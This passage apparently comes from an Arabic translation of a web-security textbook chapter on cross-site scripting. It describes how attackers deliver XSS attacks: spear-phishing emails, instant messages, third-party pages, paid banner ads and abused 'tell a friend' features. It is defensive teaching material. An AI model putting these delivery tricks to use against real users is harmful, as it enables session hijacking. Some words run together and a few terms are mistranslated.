‫ﺍﻟﻔﺼﻞ‪ .(13‬ﺗﺴﻌﻰ ﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺇﻟﻰ ﻣﻨﻊ ﺇﺳﺎءﺓ ﺍﻻﺳﺘﺨﺪﺍﻡ ﻣﻦ ﻗﺒِﻞ ﺟﻬﺎﺕ ﺧﺎﺭﺟﻴﺔ‬
‫ﻣﻦﺧﻼﻝ ﺍﻟﺘﺤﻘﻖ ﺩﺍﺧﻞ ﻋﻨﺼﺮ ﺍﻟﺘﺤﻜﻢ ﻧﻔﺴﻪ ﻣﻦ ﺃﻥ ﺻﻔﺤﺔ ﺍﻟﻮﻳﺐ ﺍﻟﻤﺴُﺘﺪﻋﺎﺓ ﺻﺎﺩﺭﺓ ﻣﻦ‬
‫ﺍﻟﻤﻮﻗﻊﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺼﺤﻴﺢ‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻻ ﻳﺰﺍﻝ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺇﺳﺎءﺓ ﺍﺳﺘﺨﺪﺍﻡ ﻋﻨﺼﺮ‬
‫ﺍﻟﺘﺤﻜﻢﻋﺒﺮ ﻫﺠﻮﻡ ‪ ،XSS‬ﻷﻥ ﺍﻟﻜﻮﺩ ﺍﻟﻤﺴُﺘﺪﻋﻰ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ﻳﻠُﺒﻲ ﻣﺘﻄﻠﺒﺎﺕ ﻓﺤﺺ ﺍﻟﺜﻘﺔ‬
‫ﺍﻟﻤﻄُﺒﻘّﺔﺩﺍﺧﻞ ﻋﻨﺼﺮ ﺍﻟﺘﺤﻜﻢ‪.‬‬

‫ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ‬

‫"ﺗﺆﺛﺮ ﻋﻤﻠﻴﺎﺕ ﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ ﻭ‪ XSS‬ﻓﻘﻂ ﻋﻠﻰ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﻤﻮﺟﻮﺩﺓ ﻋﻠﻰ ﺷﺒﻜﺔ ﺍﻹﻧﺘﺮﻧﺖ ﺍﻟﻌﺎﻣﺔ‪".‬‬

‫ﻳﻤﻜﻦﺃﻥ ﺗﺆﺛﺮ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻋﻠﻰ ﺃﻱ ﻧﻮﻉ ﻣﻦ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ‪ ،‬ﻭﻳﻤﻜﻦ ﻟﻬﺠﻮﻡ ﻋﻠﻰ ﺗﻄﺒﻴﻖ‬
‫ﻗﺎﺉﻢﻋﻠﻰ ﺍﻟﺸﺒﻜﺔ ﺍﻟﺪﺍﺧﻠﻴﺔ‪ ،‬ﻋﺒﺮ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺟﻤﺎﻋﻲ‪ ،‬ﺃﻥ ﻳﺴﺘﻐﻞ ﻧﻮﻋﻴﻦ ﻣﻦ ﺍﻟﺜﻘﺔ‪ .‬ﺃﻭﻻً‪،‬‬
‫ﺍﻟﺜﻘﺔﺍﻻﺟﺘﻤﺎﻋﻴﺔ ﺍﻟﺘﻲ ﺗﺴﺘﻐﻠﻬﺎ ﺭﺳﺎﺉﻞ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺪﺍﺧﻠﻴﺔ ﺑﻴﻦ ﺍﻟﺰﻣﻼء‪ .‬ﺛﺎﻧﻴﺎً‪ ،‬ﻏﺎﻟﺒﺎً ﻣﺎ‬
‫ﺗﺜﻖﻣﺘﺼﻔﺤﺎﺕ ﺍﻟﻀﺤﺎﻳﺎ ﺑﺨﻮﺍﺩﻡ ﺍﻟﻮﻳﺐ ﺍﻟﺨﺎﺻﺔ ﺑﺎﻟﺸﺮﻛﺎﺕ ﺃﻛﺜﺮ ﻣﻦ ﺛﻘﺘﻬﺎ ﺑﺘﻠﻚ ﺍﻟﻤﻮﺟﻮﺩﺓ ﻋﻠﻰ‬
‫ﺍﻹﻧﺘﺮﻧﺖﺍﻟﻌﺎﻡ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻓﻲ ﻣﺘﺼﻔﺢ ‪ ،Internet Explorer‬ﺇﺫﺍ ﻛﺎﻥ ﺟﻬﺎﺯ ﺍﻟﻜﻤﺒﻴﻮﺗﺮ‬
‫ﺟﺰءﺍًﻣﻦ ﻧﻄﺎﻕ ﺷﺮﻛﺔ‪ ،‬ﻓﺈﻥ ﺍﻟﻤﺘﺼﻔﺢ ﻳﻀُﺒﻂ ﺍﻓﺘﺮﺍﺿﻴﺎً ﻋﻠﻰ ﻣﺴﺘﻮﻯ ﺃﻣﺎﻥ ﺃﻗﻞ ﻋﻨﺪ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ‬
‫ﺗﻄﺒﻴﻘﺎﺕﺍﻟﺸﺒﻜﺔ ﺍﻟﺪﺍﺧﻠﻴﺔ‪.‬‬

‫ﺗﺼﻌﻴﺪﺍﻟﻬﺠﻮﻡ ﻋﻠﻰ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‬


‫ﻗﺪﻳﻬﺎﺟﻢ ﻣﻮﻗﻊ ﻭﻳﺐ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﺬﻳﻦ ﻳﺰﻭﺭﻭﻧﻪ ﻣﺒﺎﺷﺮﺓ ًﺑﻄﺮﻕ ﻣﺘﻌﺪﺩﺓ‪ ،‬ﻣﺜﻞ ﺗﺴﺠﻴﻞ ﺿﻐﻄﺎﺕ‬
‫ﻣﻔﺎﺗﻴﺤﻬﻢ‪،‬ﻭﺗﺴﺠﻴﻞ ﺗﺎﺭﻳﺦ ﺗﺼﻔﺤﻬﻢ‪ ،‬ﻭﻣﺴﺢ ﻣﻨﺎﻓﺬ ﺍﻟﺸﺒﻜﺔ ﺍﻟﻤﺤﻠﻴﺔ‪ .‬ﻗﺪ ﺗﺸُﻦ ﺃﻱ ﻣﻦ ﻫﺬﻩ‬
‫ﺍﻟﻬﺠﻤﺎﺕﻋﺒﺮ ﺧﻠﻞ ﻓﻲ ﺑﺮﻣﺠﺔ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﺸﺘﺮﻛﺔ ﻓﻲ ﺗﻄﺒﻴﻖ ﻣﻌُﺮﺽّ ﻟﻠﺨﻄﺮ‪ ،‬ﻣﻊ ﺃﻧﻬﺎ ﻗﺪ ﺗﺸُﻦ ّﺃﻳﻀﺎً‬
‫ﻣﺒﺎﺷﺮﺓ ًﻣﻦ ﺃﻱ ﻣﻮﻗﻊ ﻭﻳﺐ ﺿﺎﺭ ﻳﺰﻭﺭﻩ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻳﻮُﺻﻒ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺑﻤﺰﻳﺪ ﻣﻦ‬
‫ﺍﻟﺘﻔﺼﻴﻞﻓﻲ ﻧﻬﺎﻳﺔ ﺍﻟﻔﺼﻞ ‪.13‬‬

‫ﺁﻟﻴﺎﺕﺗﻮﺻﻴﻞ ﻫﺠﻤﺎﺕ ‪XSS‬‬


‫ﺑﻌﺪﺗﺤﺪﻳﺪ ﺛﻐﺮﺓ ‪ XSS‬ﻭﺻﻴﺎﻏﺔ ﺍﻟﺤﻤﻮﻟﺔ ﺍﻟﻤﻨﺎﺳﺒﺔ ﻻﺳﺘﻐﻼﻟﻬﺎ‪ ،‬ﻳﺤﺘﺎﺝ ﺍﻟﻤﻬﺎﺟﻢ ﺇﻟﻰ ﺇﻳﺠﺎﺩ ﺑﻌﺾ‬
‫ﺍﻟﻮﺳﺎﺉﻞﻹﻳﺼﺎﻝ ﺍﻟﻬﺠﻮﻡ ﺇﻟﻰ ﺍﻵﺧﺮﻳﻦ‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪448‬‬

‫ﻣﺴﺘﺨﺪﻣﻲﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﺳﺒﻖ ﺃﻥ ﻧﺎﻗﺸﻨﺎ ﻋﺪﺓ ﻃﺮﻕ ﻟﺘﺤﻘﻴﻖ ﺫﻟﻚ‪ .‬ﻓﻲ ﺍﻟﻮﺍﻗﻊ‪ ،‬ﺗﺘﻮﻓﺮ ﻟﻠﻤﻬﺎﺟﻤﻴﻦ‬
‫ﺁﻟﻴﺎﺕﺇﻳﺼﺎﻝ ﺃﺧﺮﻯ ﻋﺪﻳﺪﺓ‪.‬‬

‫ﺗﻘﺪﻳﻢﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ ‪DOM‬‬


‫ﺑﺎﻹﺿﺎﻓﺔﺇﻟﻰ ﻧﺎﻗﻞ ﺍﻟﺘﺼﻴﺪ ﺍﻟﻮﺍﺿﺢ ﺍﻟﻤﺘﻤﺜﻞ ﻓﻲ ﺇﺭﺳﺎﻝ ﺭﺳﺎﺉﻞ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺟﻤﺎﻋﻴﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ‬
‫ﻋﻨﻮﺍﻥ‪ URL‬ﻣﺼﻤﻢ ﺧﺼﻴﺼﺎً ﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻋﺸﻮﺍﺉﻴﻴﻦ‪ ،‬ﻗﺪ ﻳﺤﺎﻭﻝ ﺍﻟﻤﻬﺎﺟﻢ ﺗﻨﻔﻴﺬ ﻫﺠﻮﻡ ‪ XSS‬ﻗﺎﺉﻢ‬
‫ﻋﻠﻰ‪ DOM‬ﺃﻭ ﻣﻨﻌﻜﺲ ﻋﺒﺮ ﺍﻵﻟﻴﺎﺕ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬

‫ﻓﻲﺍﻟﻬﺠﻮﻡ ﺍﻟﻤﺴُﺘﻬﺪﻑ‪ ،‬ﻗﺪ ﻳﺮُﺳﻞ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﻣﺰُﻭﺭّ ﺇﻟﻰ ﻣﺴﺘﺨﺪﻡ ﻣﺴُﺘﻬﺪﻑ ﻭﺍﺣﺪ ﺃﻭ‬ ‫‪-‬‬

‫ﻋﺪﺩﻗﻠﻴﻞ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻗﺪ ﻳﺮُﺳﻞ ﺇﻟﻰ ﻣﺴﺆﻭﻝ ﺗﻄﺒﻴﻖ ﺑﺮﻳﺪ‬
‫ﺇﻟﻜﺘﺮﻭﻧﻲﻳﺒﺪﻭ ﺃﻧﻪ ﺻﺎﺩﺭ ﻋﻦ ﻣﺴﺘﺨﺪﻡ ﻣﻌﺮﻭﻑ‪ ،‬ﻳﺸﻜﻮ ﻓﻴﻪ ﻣﻦ ﺃﻥ ﻋﻨﻮﺍﻥ ‪ URL‬ﻣﺤُﺪﺩﺍً‬
‫ﻳﺴُﺒﺐﺧﻄﺄ‪ ً.‬ﻋﻨﺪﻣﺎ ﻳﺮُﻳﺪ ﺍﻟﻤﻬُﺎﺟﻢ ﺍﺧﺘﺮﺍﻕ ﺟﻠﺴﺔ ﻣﺴﺘﺨﺪﻡ ﻣﺤُﺪﺩ )ﺑﺪﻻ ًﻣﻦ ﺟﻤﻊ ﺑﻴﺎﻧﺎﺕ‬
‫ﻣﺴﺘﺨﺪﻣﻴﻦﻋﺸﻮﺍﺉﻴﻴﻦ(‪ ،‬ﻏﺎﻟﺒﺎً ﻣﺎ ﻳﻜﻮﻥ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻤﺴُﺘﻬﺪﻑ ﺍﻟﻤﺴُﺘﻨﻴﺮ ﻭﺍﻟﻤﻘُﻨﻊ ﻫﻮ ﺁﻟﻴﺔ‬
‫ﺍﻟﺘﻨﻔﻴﺬﺍﻷﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ‪ .‬ﻳﺸُﺎﺭ ﺇﻟﻰ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺃﺣﻴﺎﻧﺎً ﺑﺎﺳﻢ "ﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ‬
‫ﺍﻟﻤﻮُﺟﻪ"‪.‬‬

‫ﻳﻤﻜﻦﺇﺭﺳﺎﻝ ﻋﻨﻮﺍﻥ ‪ URL‬ﺇﻟﻰ ﻣﺴﺘﺨﺪﻡ ﻣﺴﺘﻬﺪﻑ ﻓﻲ ﺭﺳﺎﻟﺔ ﻓﻮﺭﻳﺔ‪.‬‬ ‫‪-‬‬

‫ﻳﻤﻜﻦﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﺤﺘﻮﻯ ﻭﺍﻟﺮﻣﻮﺯ ﻋﻠﻰ ﻣﻮﺍﻗﻊ ﺍﻟﻄﺮﻑ ﺍﻟﺜﺎﻟﺚ ﻹﻧﺸﺎء ﻃﻠﺒﺎﺕ ﺗﺆُﺩﻱ ﺇﻟﻰ‬ ‫‪-‬‬

‫ﺛﻐﺮﺍﺕ‪ .XSS‬ﺗﺘﻴﺢ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺸﺎﺉﻌﺔ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﻧﺸﺮ ﺗﺮﻣﻴﺰ ‪HTML‬‬


‫ﻣﺤﺪﻭﺩ‪،‬ﻳﻌُﺮﺽ ﺩﻭﻥ ﺗﻌﺪﻳﻞ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ‪.‬‬
‫ﺇﺫﺍﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﺸﻐﻴﻞ ﺛﻐﺮﺓ ‪ XSS‬ﺑﺎﺳﺘﺨﺪﺍﻡﻳﺤﺼﻞﺍﻟﻄﺮﻳﻘﺔ‪ ،‬ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﻧﺸﺮﺍﻱ ﺍﻡ‬
‫ﺟﻲﻋﻠﻰ ﻣﻮﻗﻊ ﺗﺎﺑﻊ ﻟﺠﻬﺔ ﺧﺎﺭﺟﻴﺔ ﻳﺴﺘﻬﺪﻑ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺨﻄﺮ‪ .‬ﺃﻱ ﻣﺴﺘﺨﺪﻡ‬
‫ﻳﺸﺎﻫﺪﻣﺤﺘﻮﻯ ﺍﻟﺠﻬﺔ ﺍﻟﺨﺎﺭﺟﻴﺔ ﺳﻴﻄﻠﺐ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﺨﺒﻴﺚ ﺩﻭﻥ ﻗﺼﺪ‪.‬‬

‫ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ‪ ،‬ﻗﺪ ﻳﻨُﺸﺊ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻮﻗﻌﻪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺨﺎﺹ ﺍﻟﺬﻱ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺤﺘﻮﻯ‬
‫ﺷﻴﻖﻟﺤﺚ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻋﻠﻰ ﺯﻳﺎﺭﺗﻪ‪ .‬ﻛﻤﺎ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺤﺘﻮﻯ ﻳﺪﻓﻊ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﺇﻟﻰﺇﺭﺳﺎﻝ ﻃﻠﺒﺎﺕ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺣﻤﻮﻻﺕ ‪ XSS‬ﺇﻟﻰ ﺗﻄﺒﻴﻖ ﻣﻌُﺮﺽَّ ﻟﻠﺨﻄﺮ‪ .‬ﺇﺫﺍ ﺳﺠﻞّ‬
‫ﻣﺴﺘﺨﺪﻡﺩﺧﻮﻟﻪ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺨﻄﺮ‪ ،‬ﻭﺗﺼﻔﺢ ﻣﻮﻗﻊ ﺍﻟﻤﻬﺎﺟﻢ‪ ،‬ﻓﺴﻴﺘﻢ ﺍﺧﺘﺮﺍﻕ‬
‫ﺟﻠﺴﺔﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻊ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺨﻄﺮ‪.‬‬

‫ﺑﻌﺪﺇﻧﺸﺎء ﻣﻮﻗﻊ ﻭﻳﺐ ﻣﻨﺎﺳﺐ‪ ،‬ﻗﺪ ﻳﺴﺘﺨﺪﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺗﻘﻨﻴﺎﺕ ﺍﻟﺘﻼﻋﺐ ﺑﻤﺤﺮﻛﺎﺕ ﺍﻟﺒﺤﺚ‬
‫ﻟﺘﻮﻟﻴﺪﺯﻳﺎﺭﺍﺕ ﻣﻦ ﻣﺴﺘﺨﺪﻣﻴﻦ ﻣﻨﺎﺳﺒﻴﻦ‪ ،‬ﻣﺜﻞ ﻭﺿﻊ ﻛﻠﻤﺎﺕ ﻣﻔﺘﺎﺣﻴﺔ ﺫﺍﺕ ﺻﻠﺔ ﺿﻤﻦ‬
‫ﻣﺤﺘﻮﻯﺍﻟﻤﻮﻗﻊ ﻭﺭﺑﻄﻪ ﺑﻌﺒﺎﺭﺍﺕ ﻣﻨﺎﺳﺒﺔ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻻ ﻋﻼﻗﺔ ﻵﻟﻴﺔ ﺍﻟﺘﻮﺻﻴﻞ ﻫﺬﻩ ﺑﺎﻟﺘﺼﻴﺪ‬
‫ﺍﻻﺣﺘﻴﺎﻟﻲ‪.‬ﻻ ﻳﺤﺎﻭﻝ ﻣﻮﻗﻊ ﺍﻟﻤﻬﺎﺟﻢ ﺍﻧﺘﺤﺎﻝ ﻫﻮﻳﺔ ﺍﻟﻤﻮﻗﻊ ﺍﻟﺬﻱ ﻳﺴﺘﻬﺪﻓﻪ‪.‬‬

‫ﻻﺣﻆﺃﻥ ﺁﻟﻴﺔ ﺍﻟﺘﺴﻠﻴﻢ ﻫﺬﻩ ﻳﻤﻜﻨﻬﺎ ﺗﻤﻜﻴﻦ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ ﺍﺳﺘﻐﻼﻝ ﻧﻘﺎﻁ ﺿﻌﻒ ‪XSS‬‬
‫ﺍﻟﻤﻨﻌﻜﺴﺔﻭﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ ‪ DOM‬ﻭﺍﻟﺘﻲ ﻻ ﻳﻤﻜﻦ ﺗﺸﻐﻴﻠﻬﺎ ﺇﻻ ﻣﻦ ﺧﻼﻝﺑﺮﻳﺪ‬
‫ﻣﻊﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ‪ ،‬ﻣﻦ ﺍﻟﻮﺍﺿﺢ ﺃﻧﻪ ﻻ ﻳﻮﺟﺪ ﺭﺍﺑﻂ ‪ URL‬ﺑﺴﻴﻂ ﻳﻤﻜﻦ ﺇﺭﺳﺎﻟﻪ ﺇﻟﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﺍﻟﻀﺤﻴﺔﻟﺸﻦ ﻫﺠﻮﻡ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻓﺈﻥ ﻫﺠﻮﻣﺎً ﺧﺒﻴﺜﺎً‬
‫‪449‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻗﺪﻳﺤﺘﻮﻱ ﻣﻮﻗﻊ ﺍﻟﻮﻳﺐ ﻋﻠﻰ ﻧﻤﻮﺫﺝ ‪ HTML‬ﻳﺴﺘﺨﺪﻡﺑﺮﻳﺪﻃﺮﻳﻘﺔ ﺗﺴﺘﻬﺪﻑ ﺍﻟﺘﻄﺒﻴﻖ‬


‫ﺍﻟﻤﻌُﺮﺽَّﻟﻠﺨﻄﺮ ﻛﻌﻨﻮﺍﻥ ‪ URL‬ﻣﺴُﺘﻬﺪﻑ‪ .‬ﻳﻤُﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ‪ JavaScript‬ﺃﻭ ﻋﻨﺎﺻﺮ ﺍﻟﺘﺤﻜﻢ‬
‫ﻓﻲﺍﻟﺘﻨﻘﻞ ﻓﻲ ﺍﻟﺼﻔﺤﺔ ﻹﺭﺳﺎﻝ ﺍﻟﻨﻤﻮﺫﺝ‪ ،‬ﻣﻤﺎ ﻳﺘُﻴﺢ ﺍﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ﺑﻨﺠﺎﺡ‪.‬‬

‫ﻓﻲﺗﻨﻮﻳﻌﺔ ﻋﻠﻰ ﻫﺠﻤﺎﺕ ﻣﻮﺍﻗﻊ ﺍﻟﻄﺮﻑ ﺍﻟﺜﺎﻟﺚ‪ ،‬ﻣﻦ ﺍﻟﻤﻌﺮﻭﻑ ﺃﻥ ﺑﻌﺾ ﺍﻟﻤﻬﺎﺟﻤﻴﻦ‬ ‫‪-‬‬

‫ﻳﺪﻓﻌﻮﻥﺛﻤﻦ ﺇﻋﻼﻧﺎﺕ ﺑﺎﻧﺮ ﻣﺮﺗﺒﻄﺔ ﺑﻌﻨﺎﻭﻳﻦ ‪ URL‬ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺣﻤﻮﻟﺔ ‪ XSS‬ﻟﺘﻄﺒﻴﻘﺎﺕ‬


‫ﻣﻌﺮﺿﺔﻟﻠﺨﻄﺮ‪ .‬ﺇﺫﺍ ﺳﺠﻞّ ﻣﺴﺘﺨﺪﻡ ﺩﺧﻮﻟﻪ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻌﺮﺽ ﻟﻠﺨﻄﺮ ﻭﻧﻘﺮ ﻋﻠﻰ ﺍﻹﻋﻼﻥ‪،‬‬
‫ﺗﺨُﺘﺮﻕﺟﻠﺴﺘﻪ ﻣﻊ ﻫﺬﺍ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻭﻧﻈﺮﺍً ﻻﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﻘﺪﻣﻲ ﺍﻟﺨﺪﻣﺎﺕ ﻛﻠﻤﺎﺕ‬
‫ﻣﻔﺘﺎﺣﻴﺔﻟﺘﻌﻴﻴﻦ ﺇﻋﻼﻧﺎﺕ ﻟﻠﺼﻔﺤﺎﺕ ﺍﻟﻤﺮﺗﺒﻄﺔ ﺑﻬﺎ‪ ،‬ﻓﻘﺪ ﻇﻬﺮﺕ ﺣﺎﻻﺕ ﺗﻢ ﻓﻴﻬﺎ ﺗﻌﻴﻴﻦ‬
‫ﺇﻋﻼﻥﻳﻬﺎﺟﻢ ﺗﻄﺒﻴﻘﺎً ﻣﻌﻴﻨﺎً ﻟﺼﻔﺤﺎﺕ ﻫﺬﺍ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻔﺴﻪ! ﻭﻫﺬﺍ ﻻ ﻳﻀﻔﻲ ﻣﺼﺪﺍﻗﻴﺔ ﻋﻠﻰ‬
‫ﺍﻟﻬﺠﻮﻡﻓﺤﺴﺐ‪ ،‬ﺑﻞ ﻳﻀﻤﻦ ﺃﻳﻀﺎً ﺃﻥ ﺍﻟﺸﺨﺺ ﺍﻟﺬﻱ ﻳﻨﻘﺮ ﻋﻠﻰ ﺍﻹﻋﻼﻥ ﻳﺴﺘﺨﺪﻡ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﺍﻟﻤﻌﺮﺽﻟﻠﺨﻄﺮ ﻟﺤﻈﺔ ﻭﻗﻮﻉ ﺍﻟﻬﺠﻮﻡ‪ .‬ﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﺑﻤﺎ ﺃﻥ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﺴﺘﻬﺪﻑ‬
‫ﺃﺻﺒﺢﺍﻵﻥ "ﺩﺍﺧﻞ ﺍﻟﻤﻮﻗﻊ"‪ ،‬ﻳﻤﻜﻦ ﻟﻠﻬﺠﻮﻡ ﺗﺠﺎﻭﺯ ﺁﻟﻴﺎﺕ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ ﻟﻠﺪﻓﺎﻉ ﺿﺪ‬
‫‪) XSS‬ﺍﻟﻤﻮﺿﺤﺔ ﺑﺎﻟﺘﻔﺼﻴﻞ ﻻﺣﻘﺎً ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ(‪ .‬ﻭﻧﻈﺮﺍً ﻷﻥ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﻘﺪﻣﻲ ﺧﺪﻣﺎﺕ‬
‫ﺇﻋﻼﻧﺎﺕﺍﻟﺒﺎﻧﺮ ﻳﺘﻘﺎﺿﻮﻥ ﺭﺳﻮﻣﺎً ﻋﻠﻰ ﺃﺳﺎﺱ ﻛﻞ ﻧﻘﺮﺓ‪ ،‬ﻓﺈﻥ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﺗﻤُﻜﻦّ ﺍﻟﻤﻬﺎﺟﻢ‬
‫ﻓﻌﻠﻴﺎًﻣﻦ "ﺷﺮﺍء" ﻋﺪﺩ ﻣﺤﺪﺩ ﻣﻦ ﺟﻠﺴﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬‬

‫ﺗﻄُﺒﻖّﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﻭﻇﻴﻔﺔ "ﺇﺑﻼﻍ ﺻﺪﻳﻖ" ﺃﻭ ﺇﺭﺳﺎﻝ ﻣﻼﺣﻈﺎﺕ ﺇﻟﻰ ﻣﺴﺆﻭﻟﻲ‬ ‫‪-‬‬

‫ﺍﻟﻤﻮﻗﻊ‪.‬ﺗﻤُﻜﻦّ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻏﺎﻟﺒﺎً ﻣﻦ ﺇﻧﺸﺎء ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺑﻤﺤﺘﻮﻯ ﻋﺸﻮﺍﺉﻲ‬
‫ﻭﻣﺴﺘﻠﻤﻴﻦﻋﺸﻮﺍﺉﻴﻴﻦ‪ .‬ﻗﺪ ﻳﺴﺘﻐﻞ ّﺍﻟﻤﻬﺎﺟﻢ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ ﻟﺸﻦ ّﻫﺠﻮﻡ ‪ XSS‬ﻋﺒﺮ ﺑﺮﻳﺪ‬
‫ﺇﻟﻜﺘﺮﻭﻧﻲﺻﺎﺩﺭ ﻓﻲ ﺍﻟﻮﺍﻗﻊ ﻣﻦ ﺧﺎﺩﻡ ﺍﻟﻤﺆﺳﺴﺔ‪ .‬ﻫﺬﺍ ﻳﺰﻳﺪ ﻣﻦ ﺍﺣﺘﻤﺎﻟﻴﺔ ﻗﺒﻮﻟﻪ‪ ،‬ﺣﺘﻰ ﻣﻦ ﻗﺒِﻞ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺫﻭﻱ ﺍﻟﺨﺒﺮﺓ ﺍﻟﺘﻘﻨﻴﺔ ﻭﺑﺮﺍﻣﺞ ﻣﻜﺎﻓﺤﺔ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻀﺎﺭﺓ‪.‬‬

‫ﺗﻘﺪﻳﻢﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ‬
